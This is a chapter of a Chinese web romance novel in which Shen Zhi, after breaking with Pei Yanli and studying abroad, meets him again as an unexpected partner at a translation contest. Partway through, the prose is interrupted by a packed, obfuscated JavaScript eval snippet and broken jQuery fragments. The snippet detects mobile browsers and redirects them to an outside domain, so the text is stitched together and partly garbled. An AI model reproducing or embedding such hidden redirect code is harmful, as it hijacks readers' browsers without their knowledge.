17. 今夜
作品:《今夜有雪》 沈知从宾利上下来时,关了车门,走到酒店里面。
她没有回头,也知道裴宴礼那样骄傲的性格不会下车。
这样的结局是最好的。
酒店大厅里温暖如春,前台见沈知走近,问询她需要什么服务。
沈知想了想,问了下这里的住房价格,又加了一个微信。
她想,现在的房子住得舒服,等交换回来读研还可以常住,到时候母亲来看她就能住这儿,加个微信也方便。
交流完毕,已经过去了十分钟。
沈知揣好手机走到玻璃门边,已经看不到宾利的影子,轻轻地吐出一口气,走回到路边。
这两天霖市就在断断续续下雪,化了下,下了化,地面上积累了一层薄薄的白。
原本宾利停着的位置,此刻留下两排深深的车辙印,最后没入到夜色尽头。
沈知垂眼,转过身,朝着跟车辙印相反的方向走回家去。
—
跟裴宴礼分的干净后,沈知像是卸了块石头,觉得不用猜测他的心思可以轻松很多,脸色也好了些。
过年的时候,她赶回苏城老家陪妈妈过年,又跟妈妈一起给远在霖城的裴老太太和庄叔寄去了家乡特产。
按照徐冉的意思,就算离开也不能忘恩,老太太和庄叔要不要是一回事,但她们的感恩之心是另一回事。
裴老太太的父亲是苏城人,所以当时同为老乡的庄叔才能借着这个由头让徐冉留下,得到了裴家的庇护。
“要不是裴家,我们娘俩哪能熬到今天。”
徐冉想着,拿了苹果削,“对了,还有裴少爷,他可替我们说过好话的。”
“要不要也给他寄一份?”
沈知刚从母亲手里拿过工具就听到裴宴礼的名字,手里削苹果的力道重了些。
她垂下眼睛,想到四年前刚到裴家的时候,裴宴礼喝醉了,庄叔扶着上楼时扭了一下,是她接过男人带进了卧室。
裴宴礼那次喝的确实多,以至于破天荒得握住了他一向不与之说话的沈知的手腕。
恰巧那天沈知也参加同学聚会喝了一点果酒,酒精上头,竟然没有挣脱他的手。
男人清醒的片刻,直起身子告诉她,如果不愿意还有后悔的机会。
可是沈知没有拒绝。
那个时候她想要的是庇护,后来想要的是真心。
只可惜裴宴礼给足了前者,却吝啬于后者。
还好现在她自由了。
沈知把削好的苹果递给母亲,自己擦了下手,“他这种金字塔顶端的人看不上,我们寄过去说不定人家就丢了。”
徐冉听了,想反驳又找不到理由,“行,那就算了。”
沈知撇开当下关于裴宴礼的话题,跟母亲拉了些家常,陪着母亲守了岁。
一过完年,沈知就买了飞机票赶往巴斯大学。
国外没有春节,这还是掐了国内学校办最后手续的时间才让沈知过了这个年。
全新的环境虽然陌生,但是好在沈知适应能力强,加上这边有不少留学生,也不算难过。
只是全英文的授课还是会让沈知感到吃力,每次上课前都要熬夜看文献,去预习老师第二天的课程,如此坚持了快一个月才真正适应了全英文的教学环境。
四月初,沈知在寒假准备的商务英语翻译比赛终于拉开帷幕。
她接到了线上邮件,通过线上监考的方式进行了一份随即抽查的文献翻译,一周后,她被通知进入了五十人的复赛。
复赛必须回国参加,不过主办方说国外的全职校园组是包机票的,这倒是给沈知剩下一笔钱。
回国前夕,沈知收拾行李时跟孟雨薇通电话,那边欲哭无泪,“知知,你终于要回来看我了!”
沈知听她哭天抢地的声音,安抚道:“你还有男朋友啊。”
“别跟我提他!”
孟雨薇大吼一声,“我跟他绝交了,绝八辈子那种。”
随即孟雨薇吐槽了男友的种种罪行。
在沈知听来,其实也就是小情侣时间没对上,只是孟雨薇沉浸在里面,情绪有点上头。
沈知关掉扩音,把手机放在耳边,“薇薇,你要的包还要代购吗?我忘了是哪个款来着。”
孟雨薇语气一转,“你怎么能忘呢!我马上发给你。”
说完,好友挂了电话。
沈知笑了下,把头发别到耳边,心里生出羡慕。
像孟雨薇这样能把喜怒哀乐写在脸上,跟喜欢的人打打闹闹,对她来说,简直就是天文。
沈知关上箱子,默默祈祷这回去的一周不要碰到裴宴礼就好。
—
三天后,沈知抵达国内,一落地就去参加了复赛。
高强度脑力活动结束,她托着疲乏的身子,带着暂时寄存在前台的行李箱去了主办方定的酒店。
她进电梯的时候,另一边,一行人从酒店的专用会议电梯出来。
裴宴礼送走了洽谈的合作方,提步去了外面的车子里。
还没上车,他就听到秦乐跟Aria在后面窃窃私语。
“刚刚那个长得好像沈小姐。”
“你也看到了?”
“可是沈小姐的头发不是直的吗,怎么这次是卷的?”
“你傻啊,女孩子卷头发不是再正常不过的吗。主要是沈小姐那张脸太有标志性了……”
两人声音非常小,即便听不清具体的内容,也会觉得有点吵。
裴宴礼慢慢停下了脚步,转身时,视线落在两个交头接耳的秘书身上。
男人无声,眼神里亦没有其他情绪,却给人一种无名的压迫感。
秦乐的嘴巴一下就闭上了,顺带用胳膊肘子戳了一下身边还要说话的Aria。
他咳嗽一声,“裴总,我们刚刚在说,主办方想请您作为特邀嘉宾参加商务英语翻译比赛的决赛。”
裴宴礼望着他,“我很闲?”
秦乐立刻摇头,“不是的,关键是陆教授也打了电话,说您有空可以去一下。”
陆教授是裴宴礼读研究生时西方经济学的授课老师,也是裴宴礼爷爷的朋友。
爷爷虽然过世,但是祖辈的情分仍在,何况是恩师的情谊。
裴宴礼压了下眼。
主办方无非是想讨好他这个赞助商,而陆均教授是为他着想,能够亲临现场挑选适合的人才。
他默了下,“跟那边说一声,我有空就去。”
秦乐记下,跟同事对视一眼,都松了一口气。
这个时候,他俩最不敢提的人就是沈知。
过年前也不知道怎么了,裴总上班的时候脸色无异,但是工作强度直线拉满,跟着他干了多年的高管最能吃苦,就连这批人都差点受不住请病假。
还是秦乐从司机陈利嘴里撬了一个事,那就是老板脾气不好是从沈知小姐那天下车开始的。
Aria也提供了情报,那就是她不再往别墅送衣服首饰了。
三人混迹商场多年却不敢多联想,只是达成默契——决不能在老板面前提沈小姐的名字。否则给再多加班费也付不起他们的工伤。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145295|180199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
—
沈知在酒店收拾了下东西,踏实地睡了一觉,一醒来就收到了组委会的邮件,通知她进入了最后一轮。
商务英语的翻译比赛一共三轮,参赛的人员的筛选本身就有严格要求,再加上初选和复试,最后剩下的二十人已经是精英中的精英。
她是校园组的十人之一,说实话,这个结果已经让沈知比较满意了。
不过都冲到了这个阶段,她也想博一把,如果有好名次,对保研联系导师和未来就业都是有极大帮助的。
孟雨薇得知这件事,给沈知加油打气,“好姐妹,不管你拿第几名,我都给你准备一个神秘惊喜。”
沈知好奇,“什么呀。”
“看你面色不佳,一定是学习上头,无心……诶诶诶,你怎么套我话呢。”孟雨薇闭了嘴,“反正你比完就知道了。”
“知知,加油!”
沈知盘腿坐在床铺上,听着好友的鼓劲,喉咙有些哽咽,“知道了,我会全力以赴的,刚好我也有一份合适的礼物给你。”
两人聊了会儿天,孟雨薇看时间晚了,让沈知早点休息。
夜晚,沈知躺在舒适的被窝里,大脑难得放空。
她觉得这次的主办方拉的赞助真大方,还给提供这么好的住宿环境。
多亏这个舒适的单人间,沈知第二天精力充沛。
抵达决赛现场时,沈知登记了名字,抽了一个号码牌,在外面等待。
人来齐以后,负责人宣布规则,这次决赛形式为小组赛,两两一组,抽签决定,根据大赛提供的主题,两人商量后以英语对话的形式呈现内容。
沈知扫了一眼,觉得有点不对劲。
校园组的人以此抽取号码牌,她的是五号。
但是周围的人都找到了小伙伴,唯独她没有。
沈知举手,“负责人,我没有队友。”
负责人看了眼号码牌,找人核对了信息,“校园组今天有个人早上胃痛,被送去医院了。”
沈知愣了下,“那我……”
负责人还没说话,外面有个略苍老雄浑,但很有精气神的声音问道:“小王,怎么了?”
负责人看到是主评委来了,连忙放下手里的东西,“陆教授,您来了。”
沈知看到一位头发花白的老人走进来,身后还跟着一队人,应该都是评委。
而老人身边,那个挺拔的身影让她几乎要停滞呼吸。
裴宴礼今天的穿着不似平日里的商务刻板,而是换了一身休闲的衣服,浅咖的色调让他显得不那么冷峻,更像是教授手下的博士生。
沈知错愕一秒,同一瞬间,跟那边看过来的裴宴礼视线撞上。
即便隔得远,沈知也看到对方似乎眯了下眼。
她转过头,寄渺茫希望望于裴宴礼没看清她。
毕竟她出国一段时间,外形有些不同了。
负责人有些为难,“是这样,校园组有个选手请假,所以单了一个人。我们是想,要不让三人一组。”
“我以为什么事呢。两人就两人,没什么。”
陆均笑了下,环视身边,最后把视线落在了身侧不苟言笑的裴宴礼身上。
“就他吧,反正他也闲着。”
沈知无力闭眼:“……”
陆教授问,“宴礼,行吗?”
裴宴礼挑眉,看向那边装死的沈知,轻笑,“我没问题。”
他走过去,俯身,敲了下那个脑门前的桌子,声音里掺了些凉意——
“同学,敢跟我组队吗?”